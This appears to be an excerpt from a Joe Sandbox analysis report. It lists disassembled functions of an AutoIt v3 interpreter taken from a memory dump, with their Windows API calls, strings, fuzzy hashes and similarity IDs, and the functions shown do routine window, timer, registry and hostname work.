String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 98802146-2727554177
Opcode ID: 0d1393f4f07cac32eae6e533448baa353dd04c9743919f9c7b1e73e59f169fea
Instruction ID: fb31efc19cf1c46f90c08fdf9521502157992ecd0cfcdf9ce527894c4ae45ba8
Opcode Fuzzy Hash: 0d1393f4f07cac32eae6e533448baa353dd04c9743919f9c7b1e73e59f169fea
Instruction Fuzzy Hash: 3F71D7B15043009EC354DF65DC428ABBBF9FF86740F80852EF545832B1EB389A59CB6A

Function 00672B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00672B8E
LoadCursorW.USER32(00000000,00007F00), ref: 00672B9D
LoadIconW.USER32(00000063), ref: 00672BB3
LoadIconW.USER32(000000A4), ref: 00672BC5
LoadIconW.USER32(000000A2), ref: 00672BD7
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00672BEF
RegisterClassExW.USER32(?), ref: 00672C40

Part of subcall function 00672CD4: GetSysColorBrush.USER32(0000000F), ref: 00672D07
Part of subcall function 00672CD4: RegisterClassExW.USER32(00000030), ref: 00672D31
Part of subcall function 00672CD4: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00672D42
Part of subcall function 00672CD4: InitCommonControlsEx.COMCTL32(?), ref: 00672D5F
Part of subcall function 00672CD4: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00672D6F
Part of subcall function 00672CD4: LoadIconW.USER32(000000A9), ref: 00672D85
Part of subcall function 00672CD4: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00672D94

Strings

#, xrefs: 00672C16
AutoIt v3, xrefs: 00672C2F
0, xrefs: 00672C0F

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: eeed44c612e88440173b995acd4f1735804f1dcc1048018ef4743ea3e574ca23
Instruction ID: 7df356b97d1aa7d96706c668f4a41f56febc562ea5a471db30068d855e4ba59f
Opcode Fuzzy Hash: eeed44c612e88440173b995acd4f1735804f1dcc1048018ef4743ea3e574ca23
Instruction Fuzzy Hash: 6E214C78E40314ABDB11AFA5EC55A997FB4FB09B50F40C11BF500A66A0D7B90580CF98

Function 0067B710 Relevance: 16.3, APIs: 1, Strings: 8, Instructions: 587COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 0067BB4E

Strings

p%t, xrefs: 0067B8DC
p#t, xrefs: 0067BA72
p#t, xrefs: 0067BB6B
p#t, xrefs: 006C0263
p%t, xrefs: 0067BB32
x#t, xrefs: 006C0207
p#t, xrefs: 006C024F
x#t, xrefs: 006C0168

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Init_thread_footer
String ID: p#t$p#t$p#t$p#t$p%t$p%t$x#t$x#t
API String ID: 1385522511-3434696796
Opcode ID: c9aa44c368586918cc171dfbc68edbd8ba61f09f8717b5b3c895d30c73295076
Instruction ID: f338dab1bd5f955339947418ed250103337b29eba5e4daf0dca9c62d22a67341
Opcode Fuzzy Hash: c9aa44c368586918cc171dfbc68edbd8ba61f09f8717b5b3c895d30c73295076
Instruction Fuzzy Hash: 72329B34A00209DFEB14DF54C894FBAB7BAEF45304F14C05AE919AB352D778AE42CB95

Function 00673170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,0067316A,?,?), ref: 006731D8
KillTimer.USER32(?,00000001,?,?,?,?,?,0067316A,?,?), ref: 00673204
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00673227
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,0067316A,?,?), ref: 00673232
CreatePopupMenu.USER32 ref: 00673246
PostQuitMessage.USER32(00000000), ref: 00673267

Strings

TaskbarCreated, xrefs: 0067322D

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: f9cd330203db420aaff7e4a79456c91ea2f557f63b3c5cd320f12b6acd398f8e
Instruction ID: 8ebb1e45721b707ecfeead1796deda140d09d3abc90b2ddb02a357ca9d79e904
Opcode Fuzzy Hash: f9cd330203db420aaff7e4a79456c91ea2f557f63b3c5cd320f12b6acd398f8e
Instruction Fuzzy Hash: 82416D35250224E7DB152B388C197F9375BE706340F94C22AF519853A2CB799B81A76A

Function 0067DFD0 Relevance: 15.4, APIs: 2, Strings: 6, Instructions: 1414COMMON

Download Yara Rule

Strings

Variable must be of type 'Object'., xrefs: 006C32B7
D%t, xrefs: 006C2FDA
D%t, xrefs: 0067E4B1
D%t, xrefs: 006C302D
D%tD%t, xrefs: 0067E27E
D%t, xrefs: 0067E1E0

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID:
String ID: D%t$D%t$D%t$D%t$D%tD%t$Variable must be of type 'Object'.
API String ID: 0-3475053870
Opcode ID: 1bbae59d9d5eec0a24238054effeec3c7c98ef864ffe4577c1416d163200410c
Instruction ID: caa8cf3de5ae5550bffa20c7e22428306027b99801246a551968ac73858e262f
Opcode Fuzzy Hash: 1bbae59d9d5eec0a24238054effeec3c7c98ef864ffe4577c1416d163200410c
Instruction Fuzzy Hash: 15C28D75A00214CFCB24DF58C881AADB7B2FF09310F24C5A9E919AB391D376ED46CB95

Function 0067EC40 Relevance: 15.2, APIs: 3, Strings: 5, Instructions: 1195COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 0067FE66

Strings

D%t, xrefs: 006C491E
D%t, xrefs: 0067EFB7
D%t, xrefs: 0067F36A
D%tD%t, xrefs: 0067F05B
D%t, xrefs: 006C4972

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Init_thread_footer
String ID: D%t$D%t$D%t$D%t$D%tD%t
API String ID: 1385522511-302452260
Opcode ID: 2f710cc086279f089aa38d1fc5a5120d10bdc2679702d7a96b9cf034074bc7d5
Instruction ID: f97b4b6ef2b7579eaba2c8c3d0a74375a72c68d2427c2da9615f823c35d6a262
Opcode Fuzzy Hash: 2f710cc086279f089aa38d1fc5a5120d10bdc2679702d7a96b9cf034074bc7d5
Instruction Fuzzy Hash: 12B29B74608340CFDB64CF18C490A6AB7E2BF99310F24896DF8998B352D775ED46CB92

Function 00671410 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00671459
CoUninitialize.COMBASE ref: 006714F8
UnregisterHotKey.USER32(?), ref: 006716DD
DestroyWindow.USER32(?), ref: 006B24B9
FreeLibrary.KERNEL32(?), ref: 006B251E
VirtualFree.KERNEL32(?,00000000,00008000), ref: 006B254B

Strings

close all, xrefs: 00671454

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 0d3170ce7fe822b84745a1cfbebbc0f0201e068d48c8e9323b89eeba49b4ab9a
Instruction ID: 927b685f9bbf8cfe650c89af0845d1b7cbd8d0ad1a0f7164b3d11022540d3d52
Opcode Fuzzy Hash: 0d3170ce7fe822b84745a1cfbebbc0f0201e068d48c8e9323b89eeba49b4ab9a
Instruction Fuzzy Hash: 62D18E71701212CFDB29EF18C4A9AA9F7E2BF05700F1482AEE54A6B351DB30AD52CF55

Function 006DDE27 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000101,?), ref: 006DDE42
gethostname.WS2_32(?,00000100), ref: 006DDE5C
gethostbyname.WS2_32(?), ref: 006DDE69
inet_ntoa.WSOCK32(?), ref: 006DDEAB
_strcat.LIBCMT ref: 006DDEB9
WSACleanup.WSOCK32 ref: 006DDEDE

Strings

0.0.0.0, xrefs: 006DDE87

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 642191829-3771769585
Opcode ID: 74ba4c85cd9a7eecc83a8bc081dd2d141f6e497b88a4b42432033d7807a2cb9f
Instruction ID: 0c3aa70b762fc6c38f43c21fab94aa46a1ab6fbb5100208900ccf749663aa930
Opcode Fuzzy Hash: 74ba4c85cd9a7eecc83a8bc081dd2d141f6e497b88a4b42432033d7807a2cb9f
Instruction Fuzzy Hash: 0711E471904104BBDB61BB64DC0AEEE77AEDB50711F00426AF4059A291EF758A828B64

Function 00672C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00672C91
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00672CB2
ShowWindow.USER32(00000000,?,?,?,?,?,?,00671CAD,?), ref: 00672CC6
ShowWindow.USER32(00000000,?,?,?,?,?,?,00671CAD,?), ref: 00672CCF

Strings

AutoIt v3, xrefs: 00672C89, 00672C8E, 00672C8F
edit, xrefs: 00672CAC

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 3138124e542219b13b619dcd6c4875a3a3be8c39cfb9a55edc4fb84ea656af7d
Instruction ID: 74c89562dc90a907d3f6e7499ff68f5e0b45982fb14a1c6e3ddba9608e105052
Opcode Fuzzy Hash: 3138124e542219b13b619dcd6c4875a3a3be8c39cfb9a55edc4fb84ea656af7d
Instruction Fuzzy Hash: 09F0DA79540290BAEB322B17AC48E772EBDD7C7F50B41815AF900A25A0C7691894DAB8

Function 006CD3A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 006CD3AD
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 006CD3BF
FreeLibrary.KERNEL32(00000000), ref: 006CD3E5

Strings

X64, xrefs: 006CD2A8
GetSystemWow64DirectoryW, xrefs: 006CD3B9

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: GetSystemWow64DirectoryW$X64
API String ID: 145871493-2590602151
Opcode ID: 8950039e35c9f16d28b87ac302ef9f5229221ac5049a0e669f68d4287c855011
Instruction ID: f6fc4af9b3735fdc9e7210f7232293c5cb90952285cf3d4d2df28ecd9c4f11d1
Opcode Fuzzy Hash: 8950039e35c9f16d28b87ac302ef9f5229221ac5049a0e669f68d4287c855011
Instruction Fuzzy Hash: ECF020B0801620DBD7362B108C18FBAB213EF12701F64837CE90AE1290DB28CE418692

Function 00673B1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00673B0F,SwapMouseButtons,00000004,?), ref: 00673B40
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00673B0F,SwapMouseButtons,00000004,?), ref: 00673B61
RegCloseKey.KERNEL32(00000000,?,?,?,80000001,80000001,?,00673B0F,SwapMouseButtons,00000004,?), ref: 00673B83

Strings

Control Panel\Mouse, xrefs: 00673B3E

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 4e6e540956636cb99ac5f71540a9b5987a977727d209660e6d2ba9b37d36ab44
Instruction ID: 63cc692715799ec3a825e3731a91e814e915e9b7117598a3362f87abc2a5678a
Opcode Fuzzy Hash: 4e6e540956636cb99ac5f71540a9b5987a977727d209660e6d2ba9b37d36ab44
Instruction Fuzzy Hash: B0112AB5510218FFDB218FA5DC44AEEB7BDEF24B44B10855AA809D7210E6319E40A7A4

Function 00673923 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 006B33A2

Part of subcall function 00676B57: _wcslen.LIBCMT ref: 00676B6A

Shell_NotifyIconW.SHELL32(00000001,?), ref: 00673A04

Strings

Line: , xrefs: 006B33EB

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: IconLoadNotifyShell_String_wcslen
String ID: Line:
API String ID: 2289894680-1585850449
Opcode ID: c37b288d0d3f25af4309c05db1e4b8cf55e0be4230b78e7d9c6c511e89f7667a
Instruction ID: 83312c4221b95f5740342c8d133f538cc439f169ad144c62c2efdf06ec497d22
Opcode Fuzzy Hash: c37b288d0d3f25af4309c05db1e4b8cf55e0be4230b78e7d9c6c511e89f7667a
Instruction Fuzzy Hash: B631C571508320AEC761EF20DC45BEBB7D9AB41710F00861EF59D83291EF749689C7CA

Function 00672DE3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 006B2C8C

Part of subcall function 00673AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00673A97,?,?,00672E7F,?,?,?,00000000), ref: 00673AC2

Part of subcall function 00672DA5: GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 00672DC4

Strings

`es, xrefs: 006B2C85
X, xrefs: 006B2C5A

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: X$`es
API String ID: 779396738-2017476410
Opcode ID: 7f415214d1fdfe20ddb54de6ef1af4044109497a86244d0dd15b78539aa09db5
Instruction ID: 22641b3b94c096829976899d882e4851b7d74dafa1fb4b59e36962290dc510ba
Opcode Fuzzy Hash: 7f415214d1fdfe20ddb54de6ef1af4044109497a86244d0dd15b78539aa09db5
Instruction Fuzzy Hash: D4219671A00258ABDB41DF94C8557EE7BFDAF49304F00C05DE509A7241DBB85A898B65

Function 0068FDDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00690668

Part of subcall function 006932A4: RaiseException.KERNEL32(?,?,?,0069068A,?,00741444,?,?,?,?,?,?,0069068A,00671129,00738738,00671129), ref: 00693304

__CxxThrowException@8.LIBVCRUNTIME ref: 00690685

Strings

Unknown exception, xrefs: 00690692

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
Opcode ID: 4e7647e8e13965fbf1adcc5281628125e9508944d719f582f2e4ea6ffa0d03ee
Instruction ID: eb83d81bafdd1d4a15241a2dda63b58229d6142cb350c08d601f427f45cfe890
Opcode Fuzzy Hash: 4e7647e8e13965fbf1adcc5281628125e9508944d719f582f2e4ea6ffa0d03ee
Instruction Fuzzy Hash: 42F04F34900209ABDF40B7A4D846C9E776E5E40350B604639B924D6ED2EF71EB66C685

Function 006CD21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 006CD220

Strings

X64, xrefs: 006CD2A8
%.3d, xrefs: 006CD22B

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: LocalTime
String ID: %.3d$X64
API String ID: 481472006-1077770165
Opcode ID: b10101e022b303dd3df20ad27e5c0d8e3a4548e7513fb8b96beda8a34b2a9894
Instruction ID: 59b78aff741de97555ee5f93eef72ec09cebcbcf80b70c40d54288efb41f7648
Opcode Fuzzy Hash: b10101e022b303dd3df20ad27e5c0d8e3a4548e7513fb8b96beda8a34b2a9894
Instruction Fuzzy Hash: A8D012A1C08108E9CB90A7D0CC45EBAB3BDFB09301F50857AFA0692040D63CC64AAB61

Function 006710F3 Relevance: 4.7, APIs: 3, Instructions: 153comCOMMON

Download Yara Rule

APIs

Part of subcall function 00671BC3: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00671BF4
Part of subcall function 00671BC3: MapVirtualKeyW.USER32(00000010,00000000), ref: 00671BFC
Part of subcall function 00671BC3: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00671C07
Part of subcall function 00671BC3: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00671C12
Part of subcall function 00671BC3: MapVirtualKeyW.USER32(00000011,00000000), ref: 00671C1A
Part of subcall function 00671BC3: MapVirtualKeyW.USER32(00000012,00000000), ref: 00671C22

Part of subcall function 00671B4A: RegisterWindowMessageW.USER32(00000004,?,006712C4), ref: 00671BA2

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 0067136A
OleInitialize.OLE32 ref: 00671388
CloseHandle.KERNEL32(00000000,00000000), ref: 006B24AB

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 418a5bb902c56def179d5bbe8d1b8c1e2966b4119035184b59e09f2f4651a9d2
Instruction ID: ded2b8aa272b74e8623566e161bea691a6512e7fec3cf752715b414cf8d52652
Opcode Fuzzy Hash: 418a5bb902c56def179d5bbe8d1b8c1e2966b4119035184b59e09f2f4651a9d2
Instruction Fuzzy Hash: 887199B89112408FC384FF79E845695BAE5AB8A394395C22FD51ACB261EB3C44E0CF5D

Function 006DC161 Relevance: 4.6, APIs: 3, Instructions: 74timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00673923: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00673A04

Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 006DC259
KillTimer.USER32(?,00000001,?,?), ref: 006DC261
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 006DC270

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

